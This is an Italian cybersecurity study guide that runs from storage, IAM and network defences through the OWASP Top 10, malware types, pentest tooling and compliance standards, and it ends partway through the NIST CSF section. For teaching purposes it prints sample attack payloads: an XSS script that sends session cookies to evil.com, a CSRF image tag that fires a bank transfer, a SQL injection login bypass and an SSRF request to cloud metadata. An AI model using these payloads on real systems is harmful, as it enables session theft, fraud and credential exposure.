💡 RAID 0=velocità · RAID 5=compromesso · RAID 6=RAID5+rete sicurezza · RAID 10=enterprise premium.
Hypervisor Type 1 & Type 2
AspettoType 1 — Bare MetalType 2 — Hosted
Gira suDirettamente sull'HWSopra un OS esistente
PrestazioniMassimeOverhead maggiore
UsoDatacenter enterpriseSviluppo, lab, desktop
EsempiVMware ESXi, Hyper-V, KVMVirtualBox, VMware WS
Data Deduplication
Storage optimization

La deduplication è una funzione di ottimizzazione dello storage che elimina le copie ridondanti dei dati memorizzando ogni blocco unico una sola volta. Se lo stesso file esiste in 100 VM, viene archiviato fisicamente una sola volta — le altre 99 istanze sono puntatori.

TipoQuando operaImpatto performanceUso tipico
InlinePrima di scrivere su discoCPU overhead durante scritturaAmbienti con banda di scrittura limitata
Post-processDopo la scrittura (batch notturno)Nessun impatto in produzioneBackup, archivi, VDI
Source-sideSul client prima del trasferimentoRiduce banda WANBackup remoto, replica

Risparmio tipico: VM quasi identiche → 95%+ di riduzione. File utente con molte copie → 50-80%. Backup giornalieri incrementali → 90%+. La deduplication è distinta dalla compressione (che riduce i dati non duplicati) — le due tecnologie sono spesso combinate.

💡 Non confondere deduplication con RAID: la deduplication ottimizza lo spazio, RAID garantisce la ridondanza. Si usano insieme: prima deduplico, poi RAID protegge i blocchi unici rimanenti.
ETL — Extract, Transform, Load
Migrazione dati

ETL è il processo standard per spostare e trasformare dati da sistemi sorgente verso un sistema destinazione (data warehouse, nuovo DB, cloud). È al cuore della migrazione sicura dei dati.

FaseDescrizioneStrumenti tipiciRischi di sicurezza
ExtractRaccolta dati da sorgenti eterogenee (DB, CSV, API, log)Talend, Apache NiFi, InformaticaAccesso non autorizzato alle sorgenti, credential exposure
TransformPulizia, normalizzazione, mascheramento dati sensibiliApache Spark, SSIS, PentahoDati in chiaro in staging, perdita integrità
LoadInserimento nel sistema destinazioneAWS Glue, Azure Data Factory, GCP DataflowTrasferimento in chiaro, injection sulla destinazione

Trasferimento sicuro dei dati: durante le fasi ETL usare sempre protocolli cifrati: SFTP (SSH File Transfer Protocol), FTPS (FTP over TLS), HTTPS. Mai trasferire dati in chiaro con FTP o HTTP.

⚠️ La fase di Trasformazione include obbligatoriamente il mascheramento dei dati personali (pseudonimizzazione o anonimizzazione) prima del caricamento in ambienti di test/sviluppo — obbligo GDPR. I dati in staging non cifrati sono una delle fonti più comuni di data breach.
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Firewall, IDS/IPS & VPN

Firewall
Perimetro

Dispositivo o software che filtra il traffico di rete in base a regole (policy), controllando cosa entra e cosa esce dalla rete.

GenerazioneLivello OSIAnalisiEsempio
Packet FilterL3/L4IP src/dst, porta, protocollo — statelessiptables base
Stateful (SPI)L3/L4Traccia stato connessioni TCPiptables conntrack
Application (Proxy)L7Ispeziona payload applicativo (HTTP, DNS…)Squid, Palo Alto
NGFWL7DPI, IPS integrato, identità utente, SSL inspectionFortinet, Palo Alto, Cisco FTD
WAFL7Solo traffico HTTP/S, protegge applicazioni webModSecurity, Cloudflare WAF
💡 DMZ (DeMilitarized Zone): segmento di rete tra firewall esterno e interno, ospita server pubblici (web, mail) isolati dalla rete interna.
IDS & IPS
Rilevamento / Prevenzione

IDS (Intrusion Detection System): monitora e avvisa di attività sospette ma non blocca. IPS (Intrusion Prevention System): rileva e blocca in tempo reale.

CaratteristicaIDSIPS
PosizioneOut-of-band (copia traffico)Inline (nel flusso dati)
AzioneAlert/logBlock/drop/reset
Rischio falsi positiviBasso impattoAlto — può bloccare traffico legittimo
TipoSiglaMonitora
Network-basedNIDS/NIPSTraffico di rete (packet capture)
Host-basedHIDS/HIPSLog di sistema, syscall, file integrity

Metodi di rilevamento: signature-based (pattern noti, bassa efficacia su 0-day) · anomaly-based (deviazione dal baseline, più efficace su attacchi nuovi) · stateful protocol analysis.

VPN — Virtual Private Network
Tunnel cifrato

Crea un tunnel cifrato tra client e server VPN, proteggendo il traffico da intercettazioni e mascherando l'IP reale dell'utente.

ProtocolloPortaNote
IPsec/IKEv2UDP 500/4500Robusto, usato in VPN aziendali site-to-site
OpenVPNUDP/TCP 1194Open source, molto flessibile
WireGuardUDP 51820Moderno, veloce, codice ridotto → meno vulnerabilità
SSL/TLS VPNTCP 443Passa firewall restrittivi, clientless (browser)
L2TP/IPsecUDP 1701Legacy — evitare dove possibile
⚠️ VPN ≠ anonimato totale. Il provider VPN vede il traffico. Split tunneling: solo traffico aziendale passa per la VPN, il resto va diretto.
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IAM — Identity & Access Management

Identity & Access Management

Framework di policy e tecnologie per garantire che le persone giuste accedano alle risorse giuste al momento giusto per le ragioni giuste.

PilastroDomandaRisposta
IdentificationChi sei?Username, certificato, token
Authentication (AuthN)Sei davvero tu?Password, MFA, biometria
Authorization (AuthZ)Cosa puoi fare?Permessi, ruoli, ACL
AccountingCosa hai fatto?Log, audit trail
Autenticazione & MFA
AuthN

L'autenticazione verifica l'identità. MFA (Multi-Factor Authentication) richiede almeno 2 fattori di categorie diverse.

FattoreTipoEsempi
KnowledgeQualcosa che SAIPassword, PIN, domanda segreta
PossessionQualcosa che HAIOTP via SMS, app authenticator, smart card, token hardware
InherenceQualcosa che SEIImpronta digitale, riconoscimento facciale, retina
LocationDove SEIGeofencing, IP aziendale
⚠️ OTP via SMS è vulnerabile a SIM swapping. Preferire app authenticator (TOTP/HOTP) o chiavi hardware (FIDO2/WebAuthn).
Autorizzazione & Modelli di controllo accessi
AuthZ
ModelloNomeLogicaUso tipico
DACDiscretionary ACIl proprietario decide chi accedeFilesystem Unix, condivisioni
MACMandatory ACLabel di sicurezza (Top Secret, Confidential…)Sistemi militari, SELinux
RBACRole-Based ACPermessi assegnati a ruoli, utenti assegnati a ruoliActive Directory, cloud IAM
ABACAttribute-Based ACPolicy su attributi (ruolo + ora + posizione + risorsa)Zero Trust, cloud policy
SSO — Single Sign-On
Federazione

Un'unica autenticazione dà accesso a più sistemi/applicazioni senza re-inserire le credenziali.

ProtocolloUso
SAML 2.0SSO enterprise, XML-based (IdP → SP)
OAuth 2.0Delegazione accessi API ("Login con Google")
OpenID ConnectAuthN su OAuth 2.0 (identità + token JWT)
KerberosSSO LAN Windows (ticket-based, Active Directory)
💡 SSO riduce la superficie di attacco (meno password) ma crea un singolo punto di fallimento — proteggere con MFA forte.
Privilegio Minimo & Privilege Creep
Least Privilege

Principio del privilegio minimo (PoLP): ogni utente, processo o sistema deve avere solo i permessi strettamente necessari al proprio compito.

  • Privilege creep: accumulo progressivo di permessi nel tempo (promozioni, cambio ruolo) senza revoca di quelli precedenti
  • Separazione dei privilegi: nessun singolo account deve poter fare tutto
  • Just-in-time (JIT): privilegi elevati concessi solo quando servono e per un tempo limitato
  • PAM (Privileged Access Management): strumenti per gestire, monitorare e registrare l'uso di account privilegiati
⚠️ Un ransomware che compromette un account admin può cifrare tutto. Con il minimo privilegio il danno è confinato.
Privilege Escalation
Attacco IAM

Tecnica con cui un attaccante (o un malware) ottiene permessi superiori a quelli assegnati — da utente standard a amministratore, o da processo user-mode a kernel. È una delle fasi cruciali nella kill chain dopo l'accesso iniziale.

TipoMeccanismoEsempio
VerticaleUtente normale → admin/rootExploit del kernel, sudo misconfiguration, DLL hijacking su Windows
OrizzontaleUtente A → utente B (stesso livello)Furto token di sessione, IDOR, impersonation

Tecniche comuni su Windows:

  • Token Impersonation: furto del token di autenticazione di un processo con privilegi elevati
  • Pass-the-Hash: uso dell'hash NTLM senza conoscere la password in chiaro
  • UAC Bypass: aggira il meccanismo User Account Control sfruttando processi trusted
  • DLL Hijacking: un'applicazione carica una DLL malevola al posto di quella legittima

Tecniche comuni su Linux:

  • SUID Exploitation: eseguibile con bit SUID impostato → gira con privilegi del proprietario (es. root)
  • Cron Job Abuse: script eseguito da cron come root che include percorsi scrivibili dall'utente
  • Kernel Exploit: vulnerabilità nel kernel Linux che permette di ottenere shell root
⚠️ Contromisure: patch regolari del sistema, privilegio minimo, monitoraggio SIEM su eventi di escalation, EDR per rilevamento comportamentale, separazione degli account amministrativi da quelli di lavoro quotidiano.
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Sicurezza Applicativa

WAF — Web Application Firewall
L7

Analizza e filtra HTTP/HTTPS. Opera a Livello 7 — ispeziona il payload. Blocca: SQL Injection, XSS, CSRF, Path Traversal.

💡 WAF (L7) + Firewall (L3/L4) = difesa in profondità. Non si sostituiscono.
CA — Certification Authority & Wildcard

CA: emette certificati X.509. PKI: CA root → CA intermedie → certificati end-entity. CRL/OCSP: revoca.

Wildcard: *.dominio.com protegge tutti i sottodomini con un unico certificato.

Honeypot · SSH vs Telnet · Print Server
  • Honeypot: sistema esca deliberatamente vulnerabile usato per attirare gli attaccanti e studiarne le tecniche — movimenti laterali, tool usati, payload. Genera alert ad alta fedeltà (qualsiasi traffico verso un honeypot è sospetto per definizione)
  • Telnet (23): ❌ In chiaro — deprecato
  • SSH (22): ✔ Cifrato — standard odierno — sostituisce Telnet su tutti i sistemi moderni
  • Print Server: vettore di attacco laterale spesso trascurato — PrintNightmare (CVE-2021-34527) è un esempio recente
💡 Variante avanzata: Honeynet — intera rete di honeypot. I dati raccolti alimentano la Threat Intelligence interna. VA vs PT: il VA trova cosa è vulnerabile, il PT dimostra come sfruttarlo.
SSDLC & DevSecOps
Sviluppo sicuro

Il SSDLC (Secure Software Development Life Cycle) integra la sicurezza in ogni fase dello sviluppo software invece di aggiungerla alla fine (approccio "security as an afterthought").

Fase SDLCAttività di sicurezzaStrumenti
RequirementsSecurity requirements, abuse cases, GDPR complianceSTRIDE threat model, PASTA
DesignThreat modeling, architettura sicura, principio minimo privilegioMicrosoft Threat Modeling Tool, IriusRisk
DevelopmentSecure coding guidelines, code reviewOWASP Secure Coding Practices, SonarQube
TestingSAST, DAST, SCA, penetration testCheckmarx, Burp Suite, OWASP ZAP, Snyk
DeploymentHardening configurazione, secrets managementVault, AWS Secrets Manager
MaintenancePatch management, monitoring, vulnerability disclosureDependabot, CVE tracking

DevSecOps — integrazione della sicurezza nella pipeline CI/CD: ogni commit triggera test di sicurezza automatici prima del merge.

Tipo di testSiglaDescrizione
Static Application Security TestingSASTAnalisi del codice sorgente senza eseguirlo — trova bug prima del deploy
Dynamic Application Security TestingDASTTest sull'app in esecuzione — simula attaccante esterno
Software Composition AnalysisSCAAnalisi dipendenze open source per CVE note
Interactive Application Security TestingIASTSensori runtime nell'app durante i test — combina SAST e DAST
💡 "Shift left security" — anticipare i controlli di sicurezza alle fasi iniziali dello sviluppo. Correggere un bug in produzione costa 100x di più che correggerlo in fase di design.
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Attacchi Informatici

MitM — Man in the Middle

L'attaccante si interpone intercettando o alterando il traffico.

  • ARP Poisoning · DNS Spoofing · SSL Stripping · Evil Twin

Contromisure: HTTPS+HSTS · certificati client · VPN · DNSSEC · 802.1X

Brute Force & Varianti
TecnicaMetodoNote
Brute ForceTutte le combinazioniLento ma garantisce successo
Dictionary AttackDizionario password comuniMolto più veloce
Credential StuffingCredenziali da breach realiSfrutta riuso password
Password Spraying1-2 pass su migliaia accountEvita lockout
Rainbow TableTabella hash→passwordInutile con SALT
🛡️ Contromisure: password ≥12 char · MFA · lockout progressivo · SALT + bcrypt/Argon2.
Social Engineering & Phishing
Fattore umano

Il social engineering è la tecnica madre degli attacchi che sfruttano la psicologia umana anziché vulnerabilità tecniche. Non attacca i sistemi — attacca le persone. Il phishing è la forma digitale più diffusa di social engineering.

TecnicaMeccanismoCanale
PhishingEmail/SMS falsi che imitano entità legittime per rubare credenziali o installare malwareEmail, SMS
Spear PhishingPhishing mirato su una persona specifica — usa informazioni OSINT per sembrare autenticoEmail personalizzata
VishingPhishing vocale — telefonate che fingono supporto tecnico, banche, autoritàTelefono
SmishingPhishing via SMS — link malevoli in messaggi urgentiSMS/WhatsApp
PretextingCreazione di un contesto falso plausibile per ottenere informazioniQualsiasi
Tailgating / PiggybackingAccesso fisico non autorizzato seguendo una persona autorizzataFisico
CEO Fraud / BECImpersonare il CEO via email per autorizzare bonifici urgentiEmail

Perché funziona: i criminali sfruttano leve psicologiche precise — urgenza ("il tuo conto verrà sospeso"), autorità ("siamo la tua banca"), paura, curiosità ("hai vinto un premio"). Non serve essere ingenui: basta un momento di distrazione.

Difese:

  • Verificare SEMPRE l'identità del mittente — non attraverso i dati nel messaggio stesso, ma contattando direttamente via canale diverso
  • Passare il mouse sul link prima di cliccare — l'URL reale compare nel browser
  • Non fornire mai credenziali, dati personali o autorizzare pagamenti sotto pressione temporale
  • Programmi di Security Awareness con simulazioni di phishing periodiche
  • MFA — anche se le credenziali vengono rubate, l'attaccante non ha il secondo fattore
⚠️ Il phishing è un tipo di social engineering, ma non tutti gli attacchi di social engineering sono phishing. Il social engineering lavora sulla psicologia; il phishing è lo strumento digitale per completare la truffa. Secondo il Verizon DBIR, il 74% dei breach ha una componente umana.
Ransomware — Evoluzione e Tendenze
Minaccia critica

Il ransomware è il malware che cifra i dati della vittima e chiede un riscatto. Dal 2020 le tecniche sono evolute significativamente — il semplice "paga e sblocchi" è ormai obsoleto.

EvoluzioneMeccanismoImpatto
Estorsione doppiaCifra i dati E li esfiltra: "Paga o pubblichiamo tutto"Data breach + blocco operativo
Estorsione triplaDoppia + minaccia ai clienti/partner della vittimaDanno reputazionale a cascata
Ransomware da remotoCifra file su altri dispositivi di rete attraverso un solo endpoint compromessoAggira difese endpoint-centric
RaaS (Ransomware-as-a-Service)Gruppi criminali affittano infrastruttura ransomware ad affiliatiAbbassa la barriera d'ingresso
Supply chain ransomwareAttacca fornitore/partner per colpire l'organizzazione target indirettamenteDifficile da prevenire perimetralmente

Contromisure: backup 3-2-1 offline e testato; segmentazione di rete; EDR/XDR; patch management rigoroso; piano di incident response specifico per ransomware; mai pagare il riscatto — non garantisce il ripristino e finanzia la criminalità.

⚠️ Il ransomware è la prima causa di perdita dati per le aziende (CISA). Il costo medio di un attacco ransomware nel 2023 è stato stimato a $4.45M (IBM). La CISA raccomanda la campagna #StopRansomware con linee guida specifiche per settore.
Malware — Tipologie
Codice malevolo
TipoComportamentoEsempio noto
VirusSi replica infettando altri file eseguibiliILOVEYOU
WormSi propaga autonomamente in rete, senza file hostWannaCry, Conficker
TrojanSi camuffa da software legittimo, apre backdoorEmotet, Zeus
RansomwareCifra i dati e chiede riscattoWannaCry, LockBit
SpywareRaccoglie dati senza consenso (tastiera, schermo, mic)FinFisher
KeyloggerRegistra i tasti premuti → credenzialiBlackShades
RootkitNasconde la propria presenza nel kernel/OSStuxnet
AdwareMostra pubblicità indesiderata, può reindirizzare browserFireball
BotnetRete di macchine zombi controllate dal C&C serverMirai (IoT)
RATRemote Access Trojan — controllo remoto completoDarkComet
⚠️ Un malware può combinare più tipologie: WannaCry era worm + ransomware. Stuxnet era worm + rootkit + PLC exploit.
Phishing & Social Engineering
Fattore umano

Il social engineering manipola psicologicamente le persone per ottenere credenziali, accessi o informazioni riservate, sfruttando fiducia, urgenza e paura.

VarianteDescrizione
PhishingEmail massiva che imita brand legittimi (banca, Microsoft…)
Spear phishingPhishing mirato su persona specifica con dati personalizzati
WhalingSpear phishing verso CEO/dirigenti per grosse somme o dati critici
SmishingPhishing via SMS
VishingPhishing via chiamata vocale (finto supporto IT, banca…)
PretextingCrea scenario credibile (tecnico IT, auditor, fornitore)
BaitingUSB abbandonata con malware, download gratuito infetto
TailgatingAccesso fisico seguendo una persona autorizzata (piggybacking)
Quid pro quoOffre un servizio falso in cambio di informazioni (finto helpdesk)
💡 Contromisura principale: formazione continua. Il firewall non blocca un utente che consegna volontariamente le credenziali.
Ransomware
Cifratura + Riscatto

Cifra i file della vittima e chiede un riscatto (in criptovaluta) per la chiave di decifratura. Le varianti moderne usano doppia estorsione: cifra + esfiltrazione dati.

  1. Infezione: phishing, RDP esposto, vulnerabilità non patchata, supply chain
  2. Persistence & movimento laterale: si diffonde nella rete, eleva i privilegi
  3. Esfiltrazione (RaaS moderno): copia dati verso server C&C dell'attaccante
  4. Cifratura: AES per i file, RSA/ECC per proteggere la chiave AES
  5. Riscatto: richiesta in Bitcoin/Monero con timer, minaccia di pubblicare i dati
⚠️ Contromisure: backup offline 3-2-1, segmentazione di rete, no RDP esposto, patch management, EDR, principio del minimo privilegio.
DoS & DDoS
Disponibilità

DoS: un singolo attaccante satura le risorse del target. DDoS: migliaia di macchine (botnet) colpiscono simultaneamente.

TipoLivello OSITecnica
VolumetricoL3/L4UDP/ICMP flood — satura la banda (Gbps)
SYN FloodL4TCP handshake incompleti — esaurisce connessioni
HTTP FloodL7Richieste GET/POST legittime in massa
AmplificationL3DNS/NTP usati come amplificatori (fattore 50-100x)
SlowlorisL7Connessioni aperte lentissime → esaurisce thread server
💡 Contromisure: CDN con scrubbing (Cloudflare, Akamai), rate limiting, ACL, BGP blackholing, anycast.
SQL Injection
OWASP A03

L'attaccante inserisce codice SQL in un campo di input per manipolare le query del database — lettura, modifica, cancellazione dati o bypass autenticazione.

-- Input malevolo nel campo username:
' OR '1'='1

-- Query risultante:
SELECT * FROM users WHERE user='' OR '1'='1' AND pass='x'
-- Risultato: accede senza credenziali valide
VarianteDescrizione
Error-basedL'errore SQL rivela la struttura del database
Union-basedUNION SELECT per estrarre dati da altre tabelle
Blind (Boolean)Risposta diversa se condizione vera/falsa (nessun errore visibile)
Time-based BlindSLEEP() → il ritardo della risposta rivela i dati
✔ Contromisure: prepared statements / query parametrizzate, ORM, input validation, WAF, privilegio minimo sul DB.
XSS — Cross-Site Scripting
OWASP A03

Injection di codice JavaScript malevolo in una pagina web. Il browser della vittima esegue lo script nel contesto del sito legittimo → furto cookie, reindirizzamento, defacement.

TipoDescrizione
Stored (Persistent)Script salvato nel DB, eseguito ad ogni visita della pagina
ReflectedScript nella URL, eseguito solo se la vittima clicca il link malevolo
DOM-basedManipolazione del DOM lato client, non passa dal server
<script>document.location='https://evil.com/?c='+document.cookie</script>
// Ruba i cookie di sessione e li invia all'attaccante
✔ Contromisure: output encoding (HTML escaping), Content Security Policy (CSP), flag HttpOnly sui cookie, validazione input.
CSRF — Cross-Site Request Forgery
Sessione

Forza l'utente autenticato a eseguire azioni indesiderate su un sito a cui è loggato, sfruttando la sessione già attiva nel browser.

<!-- Pagina malevola visitata dalla vittima loggata in banca: -->
<img src="https://banca.it/bonifico?dest=attaccante&importo=5000">
<!-- Il browser invia la richiesta con i cookie di sessione della banca -->

Differenza con XSS: XSS sfrutta fiducia del browser nell'utente. CSRF sfrutta fiducia del server nella sessione.

✔ Contromisure: CSRF token univoco per ogni form, SameSite cookie attribute (Lax/Strict), verifica header Origin/Referer.
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OWASP — Top 10 (2021)

Open Web Application Security Project

Lista aggiornata delle vulnerabilità web più critiche. Riferimento standard mondiale.

A01 🔴
Broken Access Control
Accesso senza permessi (IDOR, escalation)
A02 🔴
Cryptographic Failures
Password in chiaro, HTTP al posto di HTTPS
A03 🔴
Injection
SQL, OS, LDAP, XSS via input non validato
A04 🟠
Insecure Design
Architettura senza sicurezza by design
A05 🟠
Security Misconfiguration
Config default, porte aperte, errori verbosi
A06 🟠
Vulnerable Components
Librerie con CVE note non aggiornate
A07 🟡
Auth & Session Failures
Brute force, session fixation, token deboli
A08 🟡
Software & Data Integrity
Pipeline CI/CD senza firme crittografiche
A09 🟡
Security Logging Failures
Log insufficienti → attacchi non rilevati
A10 🟡
SSRF
Il server fa richieste interne per l'attaccante
A01 — Broken Access Control

L'app non verifica i permessi. Esempi: /admin via URL, IDOR (id=123→124), escalation verticale. Contromisure: deny-by-default, controlli lato server, minimo privilegio.

A02 — Cryptographic Failures

Cifratura assente o inadeguata. Esempi: password in chiaro, HTTP, MD5/SHA-1 per password, chiavi hardcoded. Contromisure: HTTPS+HSTS, bcrypt/Argon2+SALT, TLS 1.2/1.3.

A03 — Injection

Input non sanificato eseguito come codice.

SELECT * FROM users WHERE user='' OR '1'='1'
→ Bypassa autenticazione

Contromisure: prepared statements, validazione input, WAF.

💡 A01+A02+A03 = maggior parte degli attacchi reali. Sono problemi di CODICE — il WAF è un palliativo.
A04 — Insecure Design
OWASP 2021

Difetti architetturali e di progettazione — mancanza di threat modeling, assenza di security requirements, design pattern non sicuri. Non è un bug di implementazione ma di concezione.

⚠️ Contromisure: threat modeling (STRIDE, PASTA), secure design patterns, principio defence in depth, revisione architetturale.
A05 — Security Misconfiguration
OWASP 2021

Configurazioni di default non cambiate, porte/servizi inutili aperti, permessi eccessivi, messaggi di errore verbosi che rivelano informazioni interne.

  • Credenziali di default su router/DB/applicazioni
  • Directory listing attiva su web server
  • CORS troppo permissivo (Access-Control-Allow-Origin: *)
  • Debug mode attivo in produzione
  • S3 bucket pubblici non intenzionali (AWS)
✔ Contromisure: hardening checklist (CIS Benchmarks), IaC con configurazioni sicure, scanner di configurazione, patch management.
A06 — Vulnerable and Outdated Components
OWASP 2021

Librerie, framework e componenti con vulnerabilità note e non aggiornate. La supply chain software è un vettore di attacco crescente.

  • Log4Shell (CVE-2021-44228) — Log4j usato in milioni di applicazioni Java
  • SolarWinds — aggiornamento software conteneva backdoor
  • npm packages malevoli — dependency confusion, typosquatting
✔ Contromisure: SCA (Software Composition Analysis), SBOM (Software Bill of Materials), Dependabot, policy di aggiornamento.
A07 — Identification and Authentication Failures
OWASP 2021

Difetti nei meccanismi di autenticazione e gestione delle sessioni che permettono all'attaccante di impersonare altri utenti.

  • Password deboli o senza rate limiting → brute force
  • Session token predicibili o non invalidati dopo logout
  • Mancanza di MFA su account critici
  • Credenziali in chiaro in URL o log
  • Gestione errata del "recupera password"
✔ Contromisure: MFA, password policy robusta, session management sicuro (token random, scadenza, invalidazione al logout), rate limiting.
A08 — Software and Data Integrity Failures
OWASP 2021

Codice o dati che vengono assunti integri senza verifica — pipeline CI/CD non sicure, update automatici non firmati, deserializzazione non sicura.

  • Plugin/librerie scaricati senza verifica firma digitale
  • Pipeline CI/CD con accesso write non protetto
  • Deserializzazione di oggetti non attendibili → RCE
  • Insecure auto-update (HTTP invece di HTTPS + firma)
✔ Contromisure: firma digitale su pacchetti e artefatti, verifica hash, pipeline CI/CD con least privilege, no deserializzazione da input utente.
A09 — Security Logging and Monitoring Failures
OWASP 2021

Senza log adeguati, un attacco può passare inosservato per mesi. Il tempo medio di rilevamento di un breach è ancora superiore a 200 giorni.

  • Login falliti non loggati → brute force invisibile
  • Log senza timestamp affidabile o con dati insufficienti
  • Assenza di SIEM o alert su eventi anomali
  • Log non protetti → l'attaccante li cancella dopo il breach
✔ Contromisure: SIEM centralizzato, log immutabili (WORM storage), alert su eventi critici, incident response plan testato.
A10 — Server-Side Request Forgery (SSRF)
OWASP 2021

L'attaccante forza il server a effettuare richieste HTTP verso risorse interne o esterne arbitrarie — bypassando firewall e accedendo a servizi cloud metadata.

# Esempio: parametro URL non validato
https://sito.it/fetch?url=http://169.254.169.254/latest/meta-data/
# → accede ai metadata AWS dalla rete interna del server
⚠️ Particolarmente pericoloso in cloud: i metadata AWS/GCP/Azure contengono credenziali IAM. Contromisure: whitelist URL, blocca accesso a 169.254.x.x, IMDSv2.
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Vulnerability Assessment & Penetration Test

Vulnerability Assessment
Identificazione

Processo sistematico per identificare, classificare e prioritizzare le vulnerabilità in un sistema — senza sfruttarle.

  1. Pianificazione: scope, asset da testare, finestre di manutenzione
  2. Scansione: tool automatizzati (Nessus, OpenVAS, Nmap) identificano CVE
  3. Analisi: eliminazione falsi positivi, classificazione per CVSS
  4. Report: lista vulnerabilità con severità, impatto e remediation
  5. Remediation & re-scan: verifica delle patch applicate
💡 VA ≠ Pentest: il VA trova le porte aperte, il pentest ci entra dentro. Il VA è più ampio ma meno approfondito.
Penetration Test
Sfruttamento controllato

Simulazione controllata di un attacco reale — il pentester sfrutta le vulnerabilità per valutare l'impatto reale e la capacità di rilevamento/risposta.

TipoConoscenza inizialeSimula
Black BoxNessuna (solo IP/dominio)Attaccante esterno ignoto
Gray BoxParziale (credenziali user, schema rete)Insider a basso privilegio
White BoxCompleta (codice sorgente, architettura)Revisione sicurezza completa

Fasi (metodologia PTES/OWASP): Recon → Scanning → Exploitation → Post-exploitation → Reporting

⚠️ Un pentest richiede sempre autorizzazione scritta (ROE — Rules of Engagement). Effettuarlo senza autorizzazione è reato.
Footprinting & Ricognizione
Fase 1 Pentest

Raccolta di informazioni sul target prima di qualsiasi interazione diretta — OSINT (Open Source Intelligence).

TecnicaStrumentoInformazione raccolta
DNS lookupnslookup, digRecord A, MX, NS, TXT, zone transfer
WHOISwhoisRegistrante dominio, date, nameserver
Google DorkingMotore GoogleFile esposti, pannelli admin, errori
Shodanshodan.ioDispositivi internet-facing, banner servizi
traceroutetracert/tracerouteTopologia di rete, hop intermedi
Social mediaLinkedIn, GitHubDipendenti, tecnologie usate, email
Strumenti VA & Penetration Test
Toolkit
StrumentoCategoriaUso
NmapNetwork scannerPort scan, OS detection, service version
Nessus / OpenVASVulnerability scannerScansione CVE automatizzata
MetasploitExploitation frameworkLibreria exploit, payload, post-exploitation
Burp SuiteWeb proxyIntercetta/modifica richieste HTTP, test OWASP
WiresharkPacket analyzerCattura e analisi traffico di rete
Hashcat / JohnPassword crackerBrute force / dictionary attack su hash
SQLmapSQL InjectionRilevamento e sfruttamento automatico SQLi
NiktoWeb scannerScan vulnerabilità web server
Kali LinuxOSDistribuzione Linux con tutti gli strumenti integrati
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Threat Intelligence & Tassonomie

CVE / CWE / CAPEC
Tassonomie

Sistemi di classificazione standardizzati per vulnerabilità, debolezze e pattern di attacco — il linguaggio comune della cybersecurity.

SiglaNome completoCosa classificaEsempio
CVECommon Vulnerabilities and ExposuresVulnerabilità specifiche in prodotti specificiCVE-2021-44228 (Log4Shell)
CWECommon Weakness EnumerationCategorie di debolezze nel codice/architetturaCWE-79 (XSS), CWE-89 (SQL Injection)
CAPECCommon Attack Pattern Enumeration and ClassificationPattern di attacco e tecnicheCAPEC-66 (SQL Injection)
CVSSCommon Vulnerability Scoring SystemPunteggio di severità 0–10Log4Shell: CVSS 10.0 (Critico)
NVDNational Vulnerability DatabaseDatabase ufficiale NIST con tutti i CVE + CVSSnvd.nist.gov

Anatomia di un CVE: CVE-ANNO-NUMERO → CVE-2021-44228 = vulnerabilità #44228 scoperta nel 2021.

CVSS v3.1 — scala severità:

ScoreLivelloAzione
0.0NoneNessuna azione necessaria
0.1 – 3.9LowPatch nel prossimo ciclo
4.0 – 6.9MediumPatch entro 30 giorni
7.0 – 8.9HighPatch entro 7 giorni
9.0 – 10.0CriticalPatch immediata / mitigazione urgente
Threat Intelligence
CTI

Raccolta, analisi e condivisione di informazioni sulle minacce informatiche per supportare decisioni di sicurezza proattive. CTI = Cyber Threat Intelligence.

LivelloTipoAudienceEsempio
StrategicTendenze, attori, motivazioniManagement, CISOReport APT, geopolitica cyber
OperationalCampagne in corso, TTPSecurity managerAnalisi campagna ransomware
TacticalTTP (Tactics, Techniques, Procedures)SOC analystMITRE ATT&CK framework
TechnicalIoC specifici (IP, hash, domini)Ingegneri, SIEMFeed IP malevoli

Fonti di Threat Intelligence:

  • CERT/CSIRT: Computer Emergency Response Team — notifiche incidenti nazionali (CERT-IT, ENISA)
  • ISAC: Information Sharing and Analysis Center — condivisione settoriale (FS-ISAC per finanza, H-ISAC per sanità)
  • OSINT: feed RSS di sicurezza, threat reports vendor (Mandiant, CrowdStrike, Kaspersky)
  • Dark web monitoring: monitoraggio forum underground per early warning
  • MITRE ATT&CK: knowledge base strutturata di TTP degli attaccanti
IoC — Indicatori di Compromissione
Detection

Artefatti osservabili che indicano con alta probabilità un'intrusione o una compromissione in atto o passata.

Categoria IoCEsempiDove si trovano
Hash di fileMD5/SHA256 di malware notiAV, EDR, threat feeds
Indirizzi IPIP di C&C server, scanner malevoliFirewall log, SIEM
Domini/URLDomini phishing, C&C, DGADNS log, proxy log
Chiavi di registroPersistence in HKCU\RunEDR, forensic
Pattern di trafficoBeacon regolare ogni X secondiNetwork analysis, SIEM
User-Agent anomaliStrumenti attaccante nel HTTPWeb server log
💡 IoC vs IoA: IoC = già successo (retrospettivo). IoA (Indicator of Attack) = in corso, comportamento sospetto. Gli IoA sono più preziosi ma richiedono analisi comportamentale.
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Normative & Standard

GDPR — Regolamento UE 2016/679
Privacy

Regolamento europeo sulla protezione dei dati personali, in vigore dal 25 maggio 2018. Si applica a qualsiasi organizzazione che tratti dati di cittadini UE.

PrincipioSignificato
Liceità, correttezza, trasparenzaBase giuridica per il trattamento (consenso, contratto, obbligo legale…)
Limitazione della finalitàDati raccolti solo per scopi determinati ed espliciti
MinimizzazioneSolo i dati strettamente necessari
EsattezzaDati aggiornati e corretti
Limitazione della conservazioneNon oltre il tempo necessario
Integrità e riservatezzaMisure tecniche e organizzative adeguate
  • Data breach: notifica all'Autorità (Garante) entro 72 ore
  • Sanzioni: fino a €20M o 4% del fatturato globale annuo
  • DPO (Data Protection Officer): responsabile della protezione dei dati e interfaccia ufficiale con il Garante — obbligatorio per enti pubblici e grandi trattatori ad alto rischio
  • DPIA (Data Protection Impact Assessment): valutazione d'impatto obbligatoria per trattamenti ad alto rischio (es. sorveglianza di massa, dati biometrici, profilazione)
  • Diritti dell'interessato: accesso, rettifica, cancellazione (diritto all'oblio), portabilità, opposizione
ISO/IEC 27001
ISMS

Standard internazionale per la gestione della sicurezza delle informazioni (ISMS — Information Security Management System). Certificabile da enti accreditati.

  • Basato sul ciclo PDCA (Plan-Do-Check-Act)
  • Annesso A: 93 controlli di sicurezza organizzati in 4 domini (organizzativo, persone, fisico, tecnologico)
  • Richiede risk assessment documentato e trattamento dei rischi
  • Audit di certificazione + sorveglianza annuale + rinnovo ogni 3 anni
💡 ISO 27001 non dice COME implementare i controlli — dice COSA fare e dimostrare. ISO 27002 fornisce le linee guida pratiche.
NIST Cybersecurity Framework (CSF)
Risk Management

Framework volontario del NIST (National Institute of Standards and Technology) per gestire il rischio cyber. Versione 2.0 pubblicata nel 2024.

FunzioneObiettivo
